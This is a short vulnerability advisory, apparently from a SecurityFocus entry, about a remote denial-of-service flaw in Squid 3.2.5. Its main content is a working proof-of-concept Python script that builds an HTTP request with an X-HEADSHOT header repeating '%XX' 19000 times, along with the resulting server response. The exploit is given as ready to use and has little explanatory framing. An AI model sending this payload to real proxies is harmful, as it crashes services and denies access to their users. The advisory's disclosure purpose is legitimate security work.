source: https://www.securityfocus.com/bid/58319/info Squid is prone to a remote denial-of-service vulnerability. Attackers can exploit this issue to crash the application, resulting in denial-of-service conditions. Squid 3.2.5 is vulnerable; other versions may also be affected. Request -- cut -- #!/usr/bin/env python print 'GET /index.html HTTP/1.1' print 'Host: localhost' print 'X-HEADSHOT: ' + '%XX' * 19000 print '\r\n\r\n' -- cut -- Response -- cut -- HTTP/1.1 200 OK Vary: X-HEADSHOT -- cut --